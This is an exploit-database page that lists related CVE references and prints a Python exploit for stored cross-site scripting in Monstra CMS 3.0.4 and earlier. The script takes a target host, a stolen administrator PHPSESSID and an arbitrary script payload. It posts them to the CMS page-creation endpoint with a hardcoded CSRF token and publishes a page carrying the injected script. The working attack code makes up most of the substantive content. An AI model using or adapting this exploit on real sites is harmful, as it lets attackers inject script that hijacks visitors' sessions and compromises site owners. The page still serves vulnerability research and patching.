Lucene search
K

Monstra CMS < 3.0.4 - Cross-Site Scripting Exploit

🗓️ 08 Jun 2018 00:00:00Reported by DEEPIN2Type 
zdt
 zdt
🔗 0day.today👁 51 Views

Monstra CMS < 3.0.4 - Cross-Site Scripting Exploit with Python

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Monstra CMS Cross-Site Scripting Vulnerability (CNVD-2018-08254)
16 Apr 201800:00
cnvd
CVE
CVE-2018-10118
15 Apr 201812:00
cve
Cvelist
CVE-2018-10118
15 Apr 201812:00
cvelist
EUVD
EUVD-2018-2197
7 Oct 202500:30
euvd
NVD
CVE-2018-10118
16 Apr 201809:58
nvd
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
openvas
Prion
Cross site scripting
16 Apr 201809:58
prion
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
# Author: DEEPIN2
# Software: Monstra CMS
# Version: 3.0.4 and earlier
# This automation code requires Python3
# You must intercept the first request through the proxy tool to verify the CSRF token.
 
import requests
import re
 
def runXSS(target, cookie, data):
    exploit = requests.post(target, cookies=cookie, data=data).text
    if re.search('exploit', exploit):
        return 'OK'
    else:
        return 'ERROR'
     
if __name__ == '__main__':
    print('''  ______     _______     ____   ___  _  ___        _  ___  _ _  ___
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / |/ _ \/ / |( _ )
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|\___/|_|_|\___/
    [*] Author : DEEPIN2(Junseo Lee)
---------------------------------------------------------------------''')
    print('[*] Ex) http://www.target.com -> www.target.com')
    url = input('Target : ')
    print('[*] Required admin\'s PHPSESSID.')
    PHPSESSID = input('PHPSESSID : ')
    pagename = input('Pagename : ')
    script = input('Script : ')
    target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
    cookie = {'PHPSESSID':PHPSESSID}
    data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
            'page_title':script,\
            'page_name':pagename,\
            'page_meta_title':'',\
            'page_keywords':'',\
            'page_description':'',\
            'pages':0,\
            'templates':'index',\
            'status':'published',\
            'access':'public',\
            'editor':'',\
            'page_tags':'',\
            'add_page_and_exit':'Save+and+Exit',\
            'page_date':'9999-99-99'}
 
    result = runXSS(target, cookie, data)
    print('-' * 69)
    if result == 'OK':
        print('[+] LINK : http://' + url + '/' + pagename)
    else:
        print('[-] Error')

#  0day.today [2018-06-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jun 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.00391
51